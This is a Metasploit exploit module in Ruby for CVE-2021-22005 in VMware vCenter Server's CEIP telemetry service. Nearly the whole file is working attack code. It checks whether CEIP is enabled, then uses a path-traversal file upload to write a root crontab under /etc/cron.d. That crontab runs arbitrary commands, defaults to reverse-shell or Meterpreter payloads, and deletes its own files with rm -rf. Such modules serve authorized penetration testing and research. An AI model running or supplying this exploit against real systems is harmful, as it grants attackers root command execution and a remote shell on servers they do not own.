177 lines
4.9 KiB
Ruby
177 lines
4.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'VMware vCenter Server Analytics (CEIP) Service File Upload',
|
|
'Description' => %q{
|
|
This module exploits a file upload in VMware vCenter Server's
|
|
analytics/telemetry (CEIP) service to write a system crontab and
|
|
execute shell commands as the root user.
|
|
|
|
Note that CEIP must be enabled for the target to be exploitable by
|
|
this module. CEIP is enabled by default.
|
|
},
|
|
'Author' => [
|
|
'George Noseevich', # Discovery
|
|
'Sergey Gerasimov', # Discovery
|
|
'VMware', # Initial PoC
|
|
'Derek Abdine', # Analysis
|
|
'wvu' # Analysis and exploit
|
|
],
|
|
'References' => [
|
|
['CVE', '2021-22005'],
|
|
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html'],
|
|
['URL', 'https://attackerkb.com/topics/15E0q0tdEZ/cve-2021-22005/rapid7-analysis'],
|
|
['URL', 'https://censys.io/blog/vmware-cve-2021-22005-technical-impact-analysis/'],
|
|
['URL', 'https://testbnull.medium.com/quick-note-of-vcenter-rce-cve-2021-22005-4337d5a817ee']
|
|
],
|
|
'DisclosureDate' => '2021-09-21',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_perl_ssl'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :dropper,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'RPORT' => 443,
|
|
'SSL' => true,
|
|
'WfsDelay' => 60
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/level'),
|
|
'vars_get' => {
|
|
'_c' => ''
|
|
}
|
|
)
|
|
|
|
return CheckCode::Unknown unless res
|
|
|
|
unless res.code == 200 && res.body == '"FULL"'
|
|
return CheckCode::Safe('CEIP is not fully enabled.')
|
|
end
|
|
|
|
CheckCode::Appears('CEIP is fully enabled.')
|
|
end
|
|
|
|
def exploit
|
|
print_status('Creating path traversal')
|
|
|
|
# /var/log/vmware/analytics/prod/_c_i/
|
|
unless write_file(rand_text_alphanumeric(8..16))
|
|
fail_with(Failure::NotVulnerable, 'Failed to create path traversal')
|
|
end
|
|
|
|
print_good('Successfully created path traversal')
|
|
|
|
print_status("Executing #{payload_instance.refname} (#{target.name})")
|
|
|
|
case target['Type']
|
|
when :cmd
|
|
execute_command(payload.encoded)
|
|
when :dropper
|
|
execute_cmdstager
|
|
end
|
|
|
|
print_warning("Please wait up to #{wfs_delay} seconds for a session")
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
print_status("Writing system crontab: #{crontab_path}")
|
|
|
|
crontab_file = crontab(cmd)
|
|
vprint_line(crontab_file)
|
|
|
|
# /var/log/vmware/analytics/prod/_c_i/../../../../../../etc/cron.d/
|
|
unless write_file("../../../../../../etc/cron.d/#{crontab_name}", crontab_file)
|
|
fail_with(Failure::PayloadFailed, 'Failed to write system crontab')
|
|
end
|
|
|
|
print_good('Successfully wrote system crontab')
|
|
end
|
|
|
|
def write_file(path, data = nil)
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/hyper/send'),
|
|
'ctype' => 'application/json',
|
|
'vars_get' => {
|
|
'_c' => '',
|
|
'_i' => "/#{path}"
|
|
},
|
|
'data' => data
|
|
)
|
|
|
|
return false unless res&.code == 201
|
|
|
|
true
|
|
end
|
|
|
|
def crontab(cmd)
|
|
# https://man7.org/linux/man-pages/man5/crontab.5.html
|
|
<<~CRONTAB.strip
|
|
* * * * * root rm -rf #{crontab_path} /var/log/vmware/analytics/prod/_c_i/
|
|
* * * * * root #{cmd}
|
|
CRONTAB
|
|
end
|
|
|
|
def crontab_path
|
|
"/etc/cron.d/#{crontab_name}.json"
|
|
end
|
|
|
|
def crontab_name
|
|
@crontab_name ||= rand_text_alphanumeric(8..16)
|
|
end
|
|
|
|
end
|